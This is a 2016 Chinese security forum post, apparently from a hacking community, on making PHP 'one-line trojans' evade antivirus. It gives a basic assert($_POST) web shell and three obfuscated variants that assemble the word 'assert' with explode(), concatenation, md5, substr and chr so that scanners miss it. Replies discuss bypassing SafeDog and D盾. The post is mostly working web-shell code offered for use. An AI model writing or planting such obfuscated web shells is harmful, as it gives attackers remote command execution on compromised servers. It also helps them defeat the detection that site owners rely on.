九零登录

[【通过】] 【已转正】一句话木马的免杀思路

[复制链接]
发表于 2016-8-14 14:05:30 | 显示全部楼层 |阅读模式
0x01:

[PHP] 纯文本查看 复制代码
<? assert($_POST['s']) ?>


一般的一句话木马,他是利用assert()函数来执行POST接收的字符串,所以绕过点有2个

[PHP] 纯文本查看 复制代码
assert()
$_POST['']



0x02:

一般情况下,我们就绕过assert()

所以绕过的话,我们一般会使用字符串函数来绕过,先来说一个吧
[PHP] 纯文本查看 复制代码
<?php
$s="a0s0s0e0r0t";
$a         = explode('0', $s);
$len= count($a);
$e=$a[$len-6].$a[$len-5].$a[$len-4].$a[$len-3].$a[$len-2].$a[$len-1];
$e($_POST['s']);
?>


上面的使用了explode()函数,用0来分割,然后用count来返回长度,最后输出,在这个之前还有一个,这个是在前面那个基础上改的

[PHP] 纯文本查看 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_POST['s'])
?>


所以,这两个一起贴出来,大家应该是知道思路了,而php中 字符串处理函数很多,所以.....,当然我们还可以使用变量覆盖的方法进行绕过,这里我就不举例子了


0x03:

[PHP] 纯文本查看 复制代码
<?php
$a=md5('a').'<br>';
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET['a']);
?>


然后这个也是用了字符串处理的办法

1.png


感谢大家支持 = =

===============================
管理给予转正,转正成功。
                    管理05
单选投票, 共有 41 人参与投票
26.83% (11)
73.17% (30)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-8-14 20:59:29 | 显示全部楼层
标记,明天测试以下。
发表于 2016-8-15 00:03:27 | 显示全部楼层
我在想为啥子你们这么多人都不通过呢?
 楼主| 发表于 2016-8-15 15:57:45 | 显示全部楼层
小莫 发表于 2016-8-15 00:03
我在想为啥子你们这么多人都不通过呢?

我人太帅,他们嫉妒我
发表于 2016-9-8 19:38:05 | 显示全部楼层
绕狗太烂大街了。。。过D盾有木有

九零

GMT+8, 2026-10-22 13:32

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表